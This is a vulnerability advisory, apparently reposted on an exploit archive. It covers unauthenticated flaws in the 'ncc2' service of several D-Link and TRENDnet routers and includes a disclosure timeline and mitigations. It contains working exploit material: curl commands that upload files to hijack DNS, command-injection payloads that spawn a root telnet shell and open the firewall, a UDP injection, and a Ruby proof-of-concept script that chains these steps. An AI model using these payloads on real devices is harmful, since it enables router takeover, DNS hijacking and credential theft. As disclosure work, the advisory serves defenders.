Author

Peter Adkins

Risk

[

Security Risk High

]

0day-ID

0day-ID-23345

Category

web applications

Date add

03-03-2015

Platform

hardware

>> D-Link and TRENDnet 'ncc2' service - multiple vulnerabilities

Discovered by:
----
Peter Adkins

Access:
----
Local network; unauthenticated access.
Remote network; unauthenticated access*.
Remote network; 'drive-by' via CSRF.

Tracking and identifiers:
----
CVE - Mitre contacted; not yet allocated.

Platforms / Firmware confirmed affected:
----
D-Link DIR-820L (Rev A) - v1.02B10
D-Link DIR-820L (Rev A) - v1.05B03
D-Link DIR-820L (Rev B) - v2.01b02
TRENDnet TEW-731BR (Rev 2) - v2.01b01

Additional platforms believed to be affected:
----
D-Link DIR-808L (Rev A) - v1.03b05
D-Link DIR-810L (Rev A) - v1.01b04
D-Link DIR-810L (Rev B) - v2.02b01
D-Link DIR-826L (Rev A) - v1.00b23
D-Link DIR-830L (Rev A) - v1.00b07
D-Link DIR-836L (Rev A) - v1.01b03

Vendor involvement:
----
2015-01-11 - Issues reported to D-Link via email (security contact).
2015-01-11 - Issues reported to TRENDnet via support ticket.
2015-01-12 - Initial response from TRENDnet.
2015-01-14 - Initial response from D-Link (security contact).
2015-01-19 - Email to Mitre.
2015-01-19 - TRENDnet request a few days to validate vulnerabilities.
2015-01-26 - TRENDnet confirm vulnerabilities and commit to Feb 10 fix.
2015-02-01 - Initial response from Mitre.
2015-02-04 - Requested an update from D-Link (security contact).
2015-02-10 - TRENDnet release 2.02b01 resolving vulnerabilities.
2015-02-10 - Emailed Mitre requesting follow up.
2015-02-10 - Emailed D-Link requesting follow up (security contact).
2015-02-18 - Emailed D-Link requesting follow up (security contact).
2015-02-21 - Contacted D-Link support as I had not still not heard back.
2015-02-22 - D-Link support were unsure as to my query.
2015-02-22 - Replied to D-Link support clarifying my request.
2015-02-23 - D-Link support directed me to the security reporting guide.
2015-02-26 - Vulnerability published to Bugtraq and GitHub.

Mitigation:
----
* Ensure remote / WAN management is disabled on the affected devices.

* Only allow trusted devices access to the local network.

* If using a listed TRENDnet device, install the patched firmware issued
by the vendor.

* If using a listed D-Link device, you'll need to use a third party tool
such as µBlock (Chrome, Firefox and Safari) to blacklist requests to
your router. This isn't ideal, but it's better than the alternative.

Notes:
----
* Due to the nature of the the 'ping.ccp' vulnerability, an attacker can
gain root access, hijack DNS settings or execute arbitrary commands on
these devices with the user simply visiting a web page with a malicious
HTTP form embedded (via CSRF).

* Due to the location of this issue (ncc / ncc2) these vulnerabilities
may be present in other devices and firmware versions not listed in this
document.

* D-Link initially responded on their security contact within a week.
However, after I had provided write ups of these vulnerabilities it went
quiet. In over a month I have been unable to get any sort of response
from D-Link, including as to whether they have managed to replicate
these issues or when there will be a fix. I contacted D-Link support as
a last ditch effort to reestablish contact, however I was linked back to
the same security reporting process I had followed initially.

* Remote execution of these exploits is possible, but requires the
device to already have remote / WAN management enabled; except in the
case of 'ping.ccp', as above.

* If you have a D-Link device that is believed to be affected and can
confirm whether the PoC is successful, please let me know and I will
update the copy of this document on GitHub (see below) and provide
credit for your findings.

* A copy of this document, as well as the proof of concept below and a
more detailed write-up has been made available via GitHub:

 * https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2

----
fwupgrade.ccp
----

The ncc / ncc2 service on the affected devices allows for basic firmware
and language file upgrades via the web interface. During the operation,
a HTTP POST is submitted to a resource named 'fwupgrade.ccp'.

The request appears to be executed by the ncc / ncc2 service on the
device, which runs as the root user.

Unfortunately, the filtering on this resource does not appear to be
effective, as: file / MIME type filtering is not being performed; and
the 'on-failure' redirection to the login page is being performed AFTER
a file has already been written the the filesystem in full.

As a result of the above, this resource can be used to upload files to
the filesystem of devices running vulnerable versions of ncc / ncc2
without authentication. This is also possible over the internet if
WAN / remote management has been previously enabled on the device.

To compound the issue, at least in the case of the listed devices, files
are written to a ramfs filesystem which is mounted at '/var/tmp'. This
becomes an issue as this directory is also used to store volatile system
configuration files - as the root filesystem is mounted read-only.

The files under '/var/tmp' include 'resolv.conf', allowing for an
attacker to hijack a user's DNS configuration:

# Overwrite the DNS resolver with Google DNS
echo 'nameserver 8.8.8.8' > resolv.conf
curl \
 -i http://192.168.0.1/fwupgrade.ccp \
 -F action=fwupgrade \
 -F filename=resolv.conf \
 -F file=@resolv.conf

----
ping.ccp
----

The ncc / ncc2 service on the affected devices allow for basic 'ping'
diagnostics to be performed via the 'ping.ccp' resource. Unfortunately,
it appears that strings passed to this call are not correctly sanitized.

Much in the same manner as above, the request appears to be executed by
the ncc / ncc2 service on the device, which is run as the root user.

The handler for 'ping_v4' does not appear to be vulnerable as this
resource maps the components of a IPv4 address, represented by a dotted
quad, into a format of '%u.%u.%u.%u' at execution time.

However, 'ping_ipv6' references the user provided input directly as a
string ('%s'), which is then passed to a system() call. This formatting
allows for an attacker to pass arbitrary commands to the device through
a HTTP request.

As this resource is also able to be accessed without authentication, it
provides a vector for an attacker to execute arbitrary commands on the
device - including, but not limited to, DNS hijacking and WAN firewall
disablement - via CSRF.

# Spawn a root shell (telnet)
curl \
 -i http://192.168.0.1/ping.ccp \
 --data 'ccp_act=ping_v6&ping_addr=$(telnetd -l /bin/sh)'

# Flush the iptables INPUT chain and set the default policy to ACCEPT.
curl \
 -i http://192.168.0.1/ping.ccp \
 --data 'ccp_act=ping_v6&ping_addr=$(iptables -P INPUT ACCEPT)'
curl \
 -i http://192.168.0.1/ping.ccp \
 --data 'ccp_act=ping_v6&ping_addr=$(iptables -F INPUT)'

----
UDPServer / MP Daemon
----

Note: This vulnerability does not seem to be present in firmware
versions before 1.05B03 on the DIR-820LA1. This may differ on other
platforms.

The ncc / ncc2 service on the affected devices appears to have been
shipped with a number of diagnostic hooks available. Unfortunately, much
in the same manner as the vulnerabilities discussed above, these hooks
are able to be called without authentication.

These hooks are also callable via CSRF; although a moot point given that
the 'ping.ccp' vulnerability discussed above already yields a higher
level of access to the device via the same manner.

One of the more 'interesting' hooks exposed by these devices allow for
a 'UDPServer' process to be spawned on the device when called. When
started this process listens on the devices LAN IP for data on UDP 9034.

Unfortunately, this process does not appear to perform any sort of input
sanitization before passing user input to a system() call. Further
investigation finds that the source for this service (UDPServer) is
available in the RealTek SDK, and appears to be a diagnostic tool.

As a result of the above, this process is vulnerable to arbitrary
command injection.

# Spawn a root shell (telnet)
curl -i 192.168.0.1/test_mode.txt
echo "\`telnetd -l /bin/sh\`" > /dev/udp/192.168.0.1/9034

----
Diagnostic hooks
----

Further to the 'test_mode' hook discussed above, the ncc / ncc2 service
on the affected devices appear to have been shipped with a number of
other diagnostic hooks enabled by default:

 * tftpd_ready.txt
 * chklst.txt
 * wps_default_pin.txt
 * usb_connect.txt
 * wps_btn.txt
 * reset_btn.txt
 * reboot_btn.txt
 * calibration_ready24G.txt
 * calibration_ready5G.txt
 * restore_default_finish.txt
 * set_mac_finish.txt
 * test_mode.txt
 * wifist.txt

These resources do not exist on the filesystem of the device, nor do
they appear to be static. Instead, these files appear to be rendered
when queried and can be used to both interrogate the given device for
information, as well as enable diagnostic services on demand.

Unfortunately, these hooks are able to be queried without any form of
authentication, and are accessible by attackers on the local network,
and over the internet via WAN management (if enabled), and CSRF.

A brief descriptions for each of these hooks is provided below. Those
not listed provide either unknown functionality, or binary values which
appear to represent system GPIO states (*_btn.txt).

- tftp_ready.txt

When queried, this resource spawns a tftp daemon which has a root
directory of '/'. As TFTP requires no authentication, this service can
be used to extract credentials from the device or even download files
from an external storage device connected via USB.

Unfortunately, due to the way this data is stored on the system, all
credentials appear to be available in plain-text. These credentials can
include (depending on the vendor and device configuration):

 * GUI / Device management credentials
 * Samba credentials
 * PPPoE credentials
 * Email credentials
 * 'MyDlink' credentials (on D-Link devices)

- chklst.txt

When queried, this resource will return the following information:

 * Current WLAN SSIDs
 * Current WLAN channels
 * LAN and WAN MAC addressing
 * Current Firmware version information
 * Hardware version information
 * Language information

- wps_default_pin.txt

When queried, this resource will return the default / factory WPS pin
for the device.

- usb_connect.txt

When queried, this resource will return a binary value which indicates
whether an external device is connected to the USB port on the device -
or null in the case of devices that do not have an exposed USB port.

This resource could potentially by used by an attacker to enumerate
devices with USB storage attached.

----
Ruby PoC
----

# NCC2 PoC.

require 'pp'
require 'optparse'
require 'restclient'

# Set defaults and parse command line arguments
options = {}

options[:addr] = "192.168.0.1"
options[:port] = 80

OptionParser.new do |option|

  option.on("--address [ADDRESS]", "Destination hostname or IP") do |a|
    options[:addr] = a
  end

  option.on("--port [PORT]", "Destination TCP port") do |p|
    options[:port] = p
  end

  option.parse!

end

# Define which SOAPActions we will be using.
actions = [
  {
    :name => "Get device information",
    :call => "sloppy_parser",
    :path => "chklst.txt",
  },
  {
    :name => "Has USB device connected",
    :call => "txt_parser",
    :path => "usb_connect.txt",
  },
  {
    :name => "Get WPS default pin",
    :call => "txt_parser",
    :path => "wps_default_pin.txt",
  },
  {
    :name => "Enable UDPServer",
    :call => "noop",
    :path => "test_mode.txt",
  },
  {
    :name => "Enable TFTP service",
    :call => "noop",
    :path => "tftpd_ready.txt",
  },
  {
    :name => "Enable telnet (root)",
    :call => "noop",
    :path => "ping.ccp",
    :post => {
      "ccp_act" => "ping_v6",
      "ping_addr" => "$(telnetd -l /bin/sh)"
    }
  }
]

def noop(val)
  return
end

def sloppy_parser(slop)
  slop.split(/\<br \/\>/).each do |l|
    puts "    #{l}"
  end
end

def txt_parser(txt)
  l = txt.gsub(/\=/, ': ')
  puts "    #{l}"
end

# Iterate over all actions and attempt to execute.
url = "http://#{options[:addr]}:#{options[:port]}"

puts "[!] Attempting to extract information from #{url}"

actions.each do |action|

  # Build the target URL and setup the HTTP client object.
  request = RestClient::Resource.new("#{url}/#{action[:path]}")

  # Fire the request and ensure a 200 OKAY.
  begin
    if action[:post]
      response = request.post(action[:post])
    else
      response = request.get()
    end
  rescue
    puts "[!] Failed to query remote host."
    abort
  end

  if response.code != 200
    puts "[-] '#{action[:name]}' failed with response: #{response.code}"
    next
  end

  # Send to the processor.
  puts "[*] #{action[:name]} request succeeded."
  send(action[:call], response.body())

end

#  0day.today [2024-12-24]  #